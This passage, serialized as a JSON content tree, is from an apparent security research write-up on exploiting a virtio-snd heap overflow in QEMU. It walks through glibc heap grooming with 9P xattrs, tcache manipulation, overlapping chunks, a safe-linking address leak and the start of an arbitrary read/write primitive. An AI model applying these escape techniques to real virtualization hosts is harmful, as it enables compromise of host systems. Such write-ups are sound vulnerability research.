|\n+----------+----------+----------+----------+----------+\n",[130950],{"type":21,"tag":78,"props":130951,"children":130952},{"__ignoreMap":7},[130953],{"type":26,"value":130948},{"type":21,"tag":22,"props":130955,"children":130956},{},[130957,130959,130964,130966,130971,130973,130978],{"type":26,"value":130958},"This lets us later create holes by freeing every other ",{"type":21,"tag":78,"props":130960,"children":130962},{"className":130961},[],[130963],{"type":26,"value":130209},{"type":26,"value":130965}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":21,"tag":78,"props":130967,"children":130969},{"className":130968},[],[130970],{"type":26,"value":126557},{"type":26,"value":130972}," field of the next live ",{"type":21,"tag":78,"props":130974,"children":130976},{"className":130975},[],[130977],{"type":26,"value":130209},{"type":26,"value":130979}," chunk.",{"type":21,"tag":22,"props":130981,"children":130982},{},[130983],{"type":26,"value":130984},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":21,"tag":22,"props":130986,"children":130987},{},[130988,130990,130995,130997,131002,131004,131009,131011,131016],{"type":26,"value":130989},"As mentioned earlier, ",{"type":21,"tag":78,"props":130991,"children":130993},{"className":130992},[],[130994],{"type":26,"value":130246},{"type":26,"value":130996}," always allocates two chunks: one for ",{"type":21,"tag":78,"props":130998,"children":131000},{"className":130999},[],[131001],{"type":26,"value":130202},{"type":26,"value":131003}," and one for ",{"type":21,"tag":78,"props":131005,"children":131007},{"className":131006},[],[131008],{"type":26,"value":130209},{"type":26,"value":131010},". We want to avoid having ",{"type":21,"tag":78,"props":131012,"children":131014},{"className":131013},[],[131015],{"type":26,"value":130202},{"type":26,"value":131017}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":21,"tag":126,"props":131019,"children":131020},{},[131021,131033],{"type":21,"tag":91,"props":131022,"children":131023},{},[131024,131026,131031],{"type":26,"value":131025},"Make ",{"type":21,"tag":78,"props":131027,"children":131029},{"className":131028},[],[131030],{"type":26,"value":130202},{"type":26,"value":131032}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":21,"tag":91,"props":131034,"children":131035},{},[131036,131038,131043,131045,131050,131052,131057],{"type":26,"value":131037},"Prepare a separate region whose sole purpose is to absorb ",{"type":21,"tag":78,"props":131039,"children":131041},{"className":131040},[],[131042],{"type":26,"value":130202},{"type":26,"value":131044},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":21,"tag":78,"props":131046,"children":131048},{"className":131047},[],[131049],{"type":26,"value":130202},{"type":26,"value":131051}," allocations from that separate freelist instead of placing them next to our ",{"type":21,"tag":78,"props":131053,"children":131055},{"className":131054},[],[131056],{"type":26,"value":130209},{"type":26,"value":131058}," chunks.",{"type":21,"tag":21591,"props":131060,"children":131062},{"id":131061},"separating-name-allocations",[131063],{"type":26,"value":131064},"Separating .name allocations",{"type":21,"tag":22,"props":131066,"children":131067},{},[131068,131070,131075,131077,131082],{"type":26,"value":131069},"We chose the second option. However, it is not as simple as issuing ",{"type":21,"tag":78,"props":131071,"children":131073},{"className":131072},[],[131074],{"type":26,"value":130246},{"type":26,"value":131076}," for N ",{"type":21,"tag":78,"props":131078,"children":131080},{"className":131079},[],[131081],{"type":26,"value":130202},{"type":26,"value":131083},"-sized allocations and then freeing them.",{"type":21,"tag":22,"props":131085,"children":131086},{},[131087,131089,131094,131095,131100,131101,131106,131108,131113,131115,131120],{"type":26,"value":131088},"At this point, we already know that ",{"type":21,"tag":78,"props":131090,"children":131092},{"className":131091},[],[131093],{"type":26,"value":130246},{"type":26,"value":130996},{"type":21,"tag":78,"props":131096,"children":131098},{"className":131097},[],[131099],{"type":26,"value":130202},{"type":26,"value":131003},{"type":21,"tag":78,"props":131102,"children":131104},{"className":131103},[],[131105],{"type":26,"value":130209},{"type":26,"value":131107},". If we simply call it with ",{"type":21,"tag":78,"props":131109,"children":131111},{"className":131110},[],[131112],{"type":26,"value":130209},{"type":26,"value":131114}," sized the same as ",{"type":21,"tag":78,"props":131116,"children":131118},{"className":131117},[],[131119],{"type":26,"value":130202},{"type":26,"value":131121},", we get a layout like this:",{"type":21,"tag":143,"props":131123,"children":131125},{"code":131124},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131126],{"type":21,"tag":78,"props":131127,"children":131128},{"__ignoreMap":7},[131129],{"type":26,"value":131124},{"type":21,"tag":22,"props":131131,"children":131132},{},[131133,131135,131140,131142,131148,131150,131156,131158,131163,131165,131170,131172,131177],{"type":26,"value":131134},"With that heap state, issuing a ",{"type":21,"tag":78,"props":131136,"children":131138},{"className":131137},[],[131139],{"type":26,"value":130912},{"type":26,"value":131141}," request would first free ",{"type":21,"tag":78,"props":131143,"children":131145},{"className":131144},[],[131146],{"type":26,"value":131147},".name A",{"type":26,"value":131149}," and then ",{"type":21,"tag":78,"props":131151,"children":131153},{"className":131152},[],[131154],{"type":26,"value":131155},".value A",{"type":26,"value":131157},". When ",{"type":21,"tag":78,"props":131159,"children":131161},{"className":131160},[],[131162],{"type":26,"value":131155},{"type":26,"value":131164}," is freed, the allocator sees that the preceding chunk ",{"type":21,"tag":78,"props":131166,"children":131168},{"className":131167},[],[131169],{"type":26,"value":131147},{"type":26,"value":131171}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":21,"tag":78,"props":131173,"children":131175},{"className":131174},[],[131176],{"type":26,"value":130202},{"type":26,"value":131178},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":21,"tag":22,"props":131180,"children":131181},{},[131182],{"type":26,"value":131183},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":21,"tag":22,"props":131185,"children":131186},{},[131187,131189,131194,131196,131201,131203,131208,131210,131216,131218,131223,131225,131231],{"type":26,"value":131188},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":21,"tag":78,"props":131190,"children":131192},{"className":131191},[],[131193],{"type":26,"value":130202},{"type":26,"value":131195}," allocation remains fixed at size ",{"type":21,"tag":78,"props":131197,"children":131199},{"className":131198},[],[131200],{"type":26,"value":107364},{"type":26,"value":131202},". We first allocate 16 xattrs whose ",{"type":21,"tag":78,"props":131204,"children":131206},{"className":131205},[],[131207],{"type":26,"value":130209},{"type":26,"value":131209}," size is ",{"type":21,"tag":78,"props":131211,"children":131213},{"className":131212},[],[131214],{"type":26,"value":131215},"0x30",{"type":26,"value":131217},". After that, we allocate another 16 xattrs, this time with ",{"type":21,"tag":78,"props":131219,"children":131221},{"className":131220},[],[131222],{"type":26,"value":130209},{"type":26,"value":131224}," size ",{"type":21,"tag":78,"props":131226,"children":131228},{"className":131227},[],[131229],{"type":26,"value":131230},"0x40",{"type":26,"value":131232},", and continue in the same way for each tcache size class.",{"type":21,"tag":22,"props":131234,"children":131235},{},[131236],{"type":26,"value":131237},"This yields the following layout:",{"type":21,"tag":143,"props":131239,"children":131241},{"code":131240},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[131242],{"type":21,"tag":78,"props":131243,"children":131244},{"__ignoreMap":7},[131245],{"type":26,"value":131240},{"type":21,"tag":22,"props":131247,"children":131248},{},[131249,131251,131256,131258,131263,131265,131270,131272,131277,131279,131284,131286,131291,131292,131297,131299,131304,131306,131311,131313,131318,131320,131325,131327,131332],{"type":26,"value":131250},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":21,"tag":78,"props":131252,"children":131254},{"className":131253},[],[131255],{"type":26,"value":130202},{"type":26,"value":131257}," chunks end up in the ",{"type":21,"tag":78,"props":131259,"children":131261},{"className":131260},[],[131262],{"type":26,"value":107364},{"type":26,"value":131264}," tcache bin, along with the interleaved ",{"type":21,"tag":78,"props":131266,"children":131268},{"className":131267},[],[131269],{"type":26,"value":130209},{"type":26,"value":131271}," chunks of size ",{"type":21,"tag":78,"props":131273,"children":131275},{"className":131274},[],[131276],{"type":26,"value":131215},{"type":26,"value":131278},". The next 16 ",{"type":21,"tag":78,"props":131280,"children":131282},{"className":131281},[],[131283],{"type":26,"value":130202},{"type":26,"value":131285}," chunks are interleaved with ",{"type":21,"tag":78,"props":131287,"children":131289},{"className":131288},[],[131290],{"type":26,"value":130209},{"type":26,"value":131271},{"type":21,"tag":78,"props":131293,"children":131295},{"className":131294},[],[131296],{"type":26,"value":131230},{"type":26,"value":131298},"; when freed, those ",{"type":21,"tag":78,"props":131300,"children":131302},{"className":131301},[],[131303],{"type":26,"value":130209},{"type":26,"value":131305}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":21,"tag":78,"props":131307,"children":131309},{"className":131308},[],[131310],{"type":26,"value":130202},{"type":26,"value":131312}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":21,"tag":78,"props":131314,"children":131316},{"className":131315},[],[131317],{"type":26,"value":130202},{"type":26,"value":131319},"-sized chunks that will later be served to the ",{"type":21,"tag":78,"props":131321,"children":131323},{"className":131322},[],[131324],{"type":26,"value":130202},{"type":26,"value":131326}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":21,"tag":78,"props":131328,"children":131330},{"className":131329},[],[131331],{"type":26,"value":130209},{"type":26,"value":131058},{"type":21,"tag":114,"props":131334,"children":131336},{"id":131335},"corrupting-the-size",[131337],{"type":26,"value":131338},"Corrupting the Size",{"type":21,"tag":22,"props":131340,"children":131341},{},[131342,131344,131349,131351,131356,131358,131363,131365,131370,131371,131376],{"type":26,"value":131343},"The input format is guest-controlled, and we choose ",{"type":21,"tag":78,"props":131345,"children":131347},{"className":131346},[],[131348],{"type":26,"value":217},{"type":26,"value":131350}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":21,"tag":78,"props":131352,"children":131354},{"className":131353},[],[131355],{"type":26,"value":217},{"type":26,"value":131357}," is centered at ",{"type":21,"tag":78,"props":131359,"children":131361},{"className":131360},[],[131362],{"type":26,"value":32134},{"type":26,"value":131364}," (rather than ",{"type":21,"tag":78,"props":131366,"children":131368},{"className":131367},[],[131369],{"type":26,"value":128464},{"type":26,"value":128451},{"type":21,"tag":78,"props":131372,"children":131374},{"className":131373},[],[131375],{"type":26,"value":128442},{"type":26,"value":131377},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":21,"tag":22,"props":131379,"children":131380},{},[131381,131383,131388],{"type":26,"value":131382},"As we already concluded, ",{"type":21,"tag":78,"props":131384,"children":131386},{"className":131385},[],[131387],{"type":26,"value":127907},{"type":26,"value":131389}," is called with the amount:",{"type":21,"tag":143,"props":131391,"children":131393},{"code":131392},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[131394],{"type":21,"tag":78,"props":131395,"children":131396},{"__ignoreMap":7},[131397],{"type":26,"value":131392},{"type":21,"tag":22,"props":131399,"children":131400},{},[131401,131403,131408,131410,131415],{"type":26,"value":131402},"And as mentioned earlier, ",{"type":21,"tag":78,"props":131404,"children":131406},{"className":131405},[],[131407],{"type":26,"value":127938},{"type":26,"value":131409}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":21,"tag":78,"props":131411,"children":131413},{"className":131412},[],[131414],{"type":26,"value":126557},{"type":26,"value":60618},{"type":21,"tag":22,"props":131417,"children":131418},{},[131419,131421,131426,131428,131433],{"type":26,"value":131420},"With the desired heap layout of repeated ",{"type":21,"tag":78,"props":131422,"children":131424},{"className":131423},[],[131425],{"type":26,"value":130111},{"type":26,"value":131427},"-sized ",{"type":21,"tag":78,"props":131429,"children":131431},{"className":131430},[],[131432],{"type":26,"value":130209},{"type":26,"value":131434}," chunks in place, we can then free every other one:",{"type":21,"tag":143,"props":131436,"children":131438},{"code":131437},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[131439],{"type":21,"tag":78,"props":131440,"children":131441},{"__ignoreMap":7},[131442],{"type":26,"value":131437},{"type":21,"tag":22,"props":131444,"children":131445},{},[131446,131448,131453],{"type":26,"value":131447},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":21,"tag":78,"props":131449,"children":131451},{"className":131450},[],[131452],{"type":26,"value":130209},{"type":26,"value":131454}," chunk directly next to it:",{"type":21,"tag":143,"props":131456,"children":131458},{"code":131457},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[131459],{"type":21,"tag":78,"props":131460,"children":131461},{"__ignoreMap":7},[131462],{"type":26,"value":131457},{"type":21,"tag":22,"props":131464,"children":131465},{},[131466,131468,131473,131475,131480],{"type":26,"value":131467},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":21,"tag":78,"props":131469,"children":131471},{"className":131470},[],[131472],{"type":26,"value":130111},{"type":26,"value":131474},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":21,"tag":78,"props":131476,"children":131478},{"className":131477},[],[131479],{"type":26,"value":130209},{"type":26,"value":131481}," chunk now has a corrupted and likely oversized size field:",{"type":21,"tag":143,"props":131483,"children":131485},{"code":131484},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131486],{"type":21,"tag":78,"props":131487,"children":131488},{"__ignoreMap":7},[131489],{"type":26,"value":131484},{"type":21,"tag":22,"props":131491,"children":131492},{},[131493,131495,131500],{"type":26,"value":131494},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":21,"tag":78,"props":131496,"children":131498},{"className":131497},[],[131499],{"type":26,"value":130126},{"type":26,"value":201},{"type":21,"tag":143,"props":131502,"children":131504},{"code":131503},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[131505],{"type":21,"tag":78,"props":131506,"children":131507},{"__ignoreMap":7},[131508],{"type":26,"value":131503},{"type":21,"tag":22,"props":131510,"children":131511},{},[131512,131514,131519],{"type":26,"value":131513},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":21,"tag":78,"props":131515,"children":131517},{"className":131516},[],[131518],{"type":26,"value":130126},{"type":26,"value":23436},{"type":21,"tag":143,"props":131521,"children":131523},{"code":131522},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[131524],{"type":21,"tag":78,"props":131525,"children":131526},{"__ignoreMap":7},[131527],{"type":26,"value":131522},{"type":21,"tag":22,"props":131529,"children":131530},{},[131531,131533,131539],{"type":26,"value":131532},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":21,"tag":78,"props":131534,"children":131536},{"className":131535},[],[131537],{"type":26,"value":131538},"0x400",{"type":26,"value":131540}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":21,"tag":143,"props":131542,"children":131544},{"code":131543},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131545],{"type":21,"tag":78,"props":131546,"children":131547},{"__ignoreMap":7},[131548],{"type":26,"value":131543},{"type":21,"tag":114,"props":131550,"children":131552},{"id":131551},"leaking-a-heap-address",[131553],{"type":26,"value":131554},"Leaking a Heap Address",{"type":21,"tag":22,"props":131556,"children":131557},{},[131558],{"type":26,"value":131559},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":21,"tag":22,"props":131561,"children":131562},{},[131563,131565,131571],{"type":26,"value":131564},"To do this, we abuse the forward (",{"type":21,"tag":78,"props":131566,"children":131568},{"className":131567},[],[131569],{"type":26,"value":131570},"fd",{"type":26,"value":131572},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":21,"tag":143,"props":131574,"children":131576},{"code":131575},"fd = next ^ (curr >> 12)\n",[131577],{"type":21,"tag":78,"props":131578,"children":131579},{"__ignoreMap":7},[131580],{"type":26,"value":131575},{"type":21,"tag":22,"props":131582,"children":131583},{},[131584,131586,131591,131592,131597],{"type":26,"value":131585},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":21,"tag":78,"props":131587,"children":131589},{"className":131588},[],[131590],{"type":26,"value":59857},{"type":26,"value":8232},{"type":21,"tag":78,"props":131593,"children":131595},{"className":131594},[],[131596],{"type":26,"value":56787},{"type":26,"value":131598}," because there is no following entry. In that case, the encoding becomes:",{"type":21,"tag":143,"props":131600,"children":131602},{"code":131601},"fd = 0 ^ (curr >> 12)\n",[131603],{"type":21,"tag":78,"props":131604,"children":131605},{"__ignoreMap":7},[131606],{"type":26,"value":131601},{"type":21,"tag":22,"props":131608,"children":131609},{},[131610,131612,131617],{"type":26,"value":131611},"So if we free a single chunk into an empty tcache bin, its ",{"type":21,"tag":78,"props":131613,"children":131615},{"className":131614},[],[131616],{"type":26,"value":131570},{"type":26,"value":131618}," field is effectively just the chunk address shifted right by 12.",{"type":21,"tag":22,"props":131620,"children":131621},{},[131622],{"type":26,"value":131623},"In the overlap we achieved earlier:",{"type":21,"tag":143,"props":131625,"children":131627},{"code":131626},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[131628],{"type":21,"tag":78,"props":131629,"children":131630},{"__ignoreMap":7},[131631],{"type":26,"value":131626},{"type":21,"tag":22,"props":131633,"children":131634},{},[131635,131637,131643,131645,131651,131653,131659,131661,131666],{"type":26,"value":131636},"We first free ",{"type":21,"tag":78,"props":131638,"children":131640},{"className":131639},[],[131641],{"type":26,"value":131642},".value C",{"type":26,"value":131644}," into tcache and read its contents through the oversized ",{"type":21,"tag":78,"props":131646,"children":131648},{"className":131647},[],[131649],{"type":26,"value":131650},".value Y",{"type":26,"value":131652},". This gives us ",{"type":21,"tag":78,"props":131654,"children":131656},{"className":131655},[],[131657],{"type":26,"value":131658},".value C >> 12",{"type":26,"value":131660},". That is not yet the exact address of ",{"type":21,"tag":78,"props":131662,"children":131664},{"className":131663},[],[131665],{"type":26,"value":131642},{"type":26,"value":131667},", since the lower 12 bits are lost.",{"type":21,"tag":22,"props":131669,"children":131670},{},[131671,131673,131678,131680,131685,131687,131692,131694,131699],{"type":26,"value":131672},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":21,"tag":78,"props":131674,"children":131676},{"className":131675},[],[131677],{"type":26,"value":131642},{"type":26,"value":131679},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":21,"tag":78,"props":131681,"children":131683},{"className":131682},[],[131684],{"type":26,"value":131642},{"type":26,"value":131686}," again. This time, ",{"type":21,"tag":78,"props":131688,"children":131690},{"className":131689},[],[131691],{"type":26,"value":59857},{"type":26,"value":131693}," is no longer ",{"type":21,"tag":78,"props":131695,"children":131697},{"className":131696},[],[131698],{"type":26,"value":56787},{"type":26,"value":131700},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":21,"tag":143,"props":131702,"children":131703},{"code":131575},[131704],{"type":21,"tag":78,"props":131705,"children":131706},{"__ignoreMap":7},[131707],{"type":26,"value":131575},{"type":21,"tag":22,"props":131709,"children":131710},{},[131711,131713,131719,131721,131726,131728,131733,131735,131740],{"type":26,"value":131712},"Since we already know ",{"type":21,"tag":78,"props":131714,"children":131716},{"className":131715},[],[131717],{"type":26,"value":131718},"curr >> 12",{"type":26,"value":131720}," from the first leak, we can read the new ",{"type":21,"tag":78,"props":131722,"children":131724},{"className":131723},[],[131725],{"type":26,"value":131570},{"type":26,"value":131727}," value from ",{"type":21,"tag":78,"props":131729,"children":131731},{"className":131730},[],[131732],{"type":26,"value":131642},{"type":26,"value":131734}," and recover the exact address of ",{"type":21,"tag":78,"props":131736,"children":131738},{"className":131737},[],[131739],{"type":26,"value":59857},{"type":26,"value":131741}," by reversing the XOR:",{"type":21,"tag":143,"props":131743,"children":131745},{"code":131744},"next = fd ^ (curr >> 12)\n",[131746],{"type":21,"tag":78,"props":131747,"children":131748},{"__ignoreMap":7},[131749],{"type":26,"value":131744},{"type":21,"tag":22,"props":131751,"children":131752},{},[131753],{"type":26,"value":131754},"This gives us the exact address of a heap chunk whose contents we control.",{"type":21,"tag":114,"props":131756,"children":131758},{"id":131757},"arbitrary-read-and-write",[131759],{"type":26,"value":131760},"Arbitrary Read and Write",{"type":21,"tag":22,"props":131762,"children":131763},{},[131764,131766,131771],{"type":26,"value":131765},"Having a controlled chunk at a known address lets us repurpose ",{"type":21,"tag":78,"props":131767,"children":131769},{"className":131768},[],[131770],{"type":26,"value":131642},{"type":26,"value":131772}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":21,"tag":22,"props":131774,"children":131775},{},[131776,131778,131783],{"type":26,"value":131777},"Recall ",{"type":21,"tag":78,"props":131779,"children":131781},{"className":131780},[],[131782],{"type":26,"value":130246},{"type":26,"value":201},{"type":21,"tag":143,"props":131785,"children":131787},{"code":131786,"language":5896,"meta":7,"className":19212,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[131788],{"type":21,"tag":78,"props":131789,"children":131790},{"__ignoreMap":7},[131791,131830,131837,131848,131863,131878,131885,131892,131899,131921,131928,131935,131942,131950,131967,132006,132049,132056],{"type":21,"tag":153,"props":131792,"children":131793},{"class":155,"line":156},[131794,131798,131802,131806,131810,131814,131818,131822,131826],{"type":21,"tag":153,"props":131795,"children":131796},{"style":170},[131797],{"type":26,"value":53335},{"type":21,"tag":153,"props":131799,"children":131800},{"style":170},[131801],{"type":26,"value":53340},{"type":21,"tag":153,"props":131803,"children":131804},{"style":160},[131805],{"type":26,"value":130241},{"type":21,"tag":153,"props":131807,"children":131808},{"style":181},[131809],{"type":26,"value":130246},{"type":21,"tag":153,"props":131811,"children":131812},{"style":160},[131813],{"type":26,"value":189},{"type":21,"tag":153,"props":131815,"children":131816},{"style":170},[131817],{"type":26,"value":53918},{"type":21,"tag":153,"props":131819,"children":131820},{"style":198},[131821],{"type":26,"value":5080},{"type":21,"tag":153,"props":131823,"children":131824},{"style":192},[131825],{"type":26,"value":130263},{"type":21,"tag":153,"props":131827,"children":131828},{"style":160},[131829],{"type":26,"value":5909},{"type":21,"tag":153,"props":131831,"children":131832},{"class":155,"line":166},[131833],{"type":21,"tag":153,"props":131834,"children":131835},{"style":160},[131836],{"type":26,"value":13601},{"type":21,"tag":153,"props":131838,"children":131839},{"class":155,"line":225},[131840,131844],{"type":21,"tag":153,"props":131841,"children":131842},{"style":170},[131843],{"type":26,"value":57904},{"type":21,"tag":153,"props":131845,"children":131846},{"style":160},[131847],{"type":26,"value":126899},{"type":21,"tag":153,"props":131849,"children":131850},{"class":155,"line":239},[131851,131855,131859],{"type":21,"tag":153,"props":131852,"children":131853},{"style":160},[131854],{"type":26,"value":130388},{"type":21,"tag":153,"props":131856,"children":131857},{"style":198},[131858],{"type":26,"value":313},{"type":21,"tag":153,"props":131860,"children":131861},{"style":160},[131862],{"type":26,"value":130397},{"type":21,"tag":153,"props":131864,"children":131865},{"class":155,"line":382},[131866,131870,131874],{"type":21,"tag":153,"props":131867,"children":131868},{"style":160},[131869],{"type":26,"value":130388},{"type":21,"tag":153,"props":131871,"children":131872},{"style":198},[131873],{"type":26,"value":313},{"type":21,"tag":153,"props":131875,"children":131876},{"style":160},[131877],{"type":26,"value":130413},{"type":21,"tag":153,"props":131879,"children":131880},{"class":155,"line":501},[131881],{"type":21,"tag":153,"props":131882,"children":131883},{"emptyLinePlaceholder":16},[131884],{"type":26,"value":759},{"type":21,"tag":153,"props":131886,"children":131887},{"class":155,"line":533},[131888],{"type":21,"tag":153,"props":131889,"children":131890},{"style":160},[131891],{"type":26,"value":107098},{"type":21,"tag":153,"props":131893,"children":131894},{"class":155,"line":542},[131895],{"type":21,"tag":153,"props":131896,"children":131897},{"emptyLinePlaceholder":16},[131898],{"type":26,"value":759},{"type":21,"tag":153,"props":131900,"children":131901},{"class":155,"line":762},[131902,131907,131911,131916],{"type":21,"tag":153,"props":131903,"children":131904},{"style":160},[131905],{"type":26,"value":131906},"    file_fidp ",{"type":21,"tag":153,"props":131908,"children":131909},{"style":198},[131910],{"type":26,"value":2367},{"type":21,"tag":153,"props":131912,"children":131913},{"style":181},[131914],{"type":26,"value":131915}," get_fid",{"type":21,"tag":153,"props":131917,"children":131918},{"style":160},[131919],{"type":26,"value":131920},"(pdu, fid);\n",{"type":21,"tag":153,"props":131922,"children":131923},{"class":155,"line":776},[131924],{"type":21,"tag":153,"props":131925,"children":131926},{"emptyLinePlaceholder":16},[131927],{"type":26,"value":759},{"type":21,"tag":153,"props":131929,"children":131930},{"class":155,"line":795},[131931],{"type":21,"tag":153,"props":131932,"children":131933},{"style":160},[131934],{"type":26,"value":107098},{"type":21,"tag":153,"props":131936,"children":131937},{"class":155,"line":808},[131938],{"type":21,"tag":153,"props":131939,"children":131940},{"emptyLinePlaceholder":16},[131941],{"type":26,"value":759},{"type":21,"tag":153,"props":131943,"children":131944},{"class":155,"line":820},[131945],{"type":21,"tag":153,"props":131946,"children":131947},{"style":3050},[131948],{"type":26,"value":131949},"    /* Make the file fid point to xattr */\n",{"type":21,"tag":153,"props":131951,"children":131952},{"class":155,"line":842},[131953,131958,131962],{"type":21,"tag":153,"props":131954,"children":131955},{"style":160},[131956],{"type":26,"value":131957},"    xattr_fidp ",{"type":21,"tag":153,"props":131959,"children":131960},{"style":198},[131961],{"type":26,"value":2367},{"type":21,"tag":153,"props":131963,"children":131964},{"style":160},[131965],{"type":26,"value":131966}," file_fidp;\n",{"type":21,"tag":153,"props":131968,"children":131969},{"class":155,"line":3204},[131970,131974,131978,131982,131986,131990,131994,131998,132002],{"type":21,"tag":153,"props":131971,"children":131972},{"style":192},[131973],{"type":26,"value":130791},{"type":21,"tag":153,"props":131975,"children":131976},{"style":160},[131977],{"type":26,"value":2953},{"type":21,"tag":153,"props":131979,"children":131980},{"style":192},[131981],{"type":26,"value":39675},{"type":21,"tag":153,"props":131983,"children":131984},{"style":160},[131985],{"type":26,"value":355},{"type":21,"tag":153,"props":131987,"children":131988},{"style":192},[131989],{"type":26,"value":130715},{"type":21,"tag":153,"props":131991,"children":131992},{"style":160},[131993],{"type":26,"value":355},{"type":21,"tag":153,"props":131995,"children":131996},{"style":192},[131997],{"type":26,"value":2456},{"type":21,"tag":153,"props":131999,"children":132000},{"style":198},[132001],{"type":26,"value":255},{"type":21,"tag":153,"props":132003,"children":132004},{"style":160},[132005],{"type":26,"value":126899},{"type":21,"tag":153,"props":132007,"children":132008},{"class":155,"line":3230},[132009,132013,132017,132021,132025,132029,132033,132037,132041,132045],{"type":21,"tag":153,"props":132010,"children":132011},{"style":192},[132012],{"type":26,"value":130791},{"type":21,"tag":153,"props":132014,"children":132015},{"style":160},[132016],{"type":26,"value":2953},{"type":21,"tag":153,"props":132018,"children":132019},{"style":192},[132020],{"type":26,"value":39675},{"type":21,"tag":153,"props":132022,"children":132023},{"style":160},[132024],{"type":26,"value":355},{"type":21,"tag":153,"props":132026,"children":132027},{"style":192},[132028],{"type":26,"value":130715},{"type":21,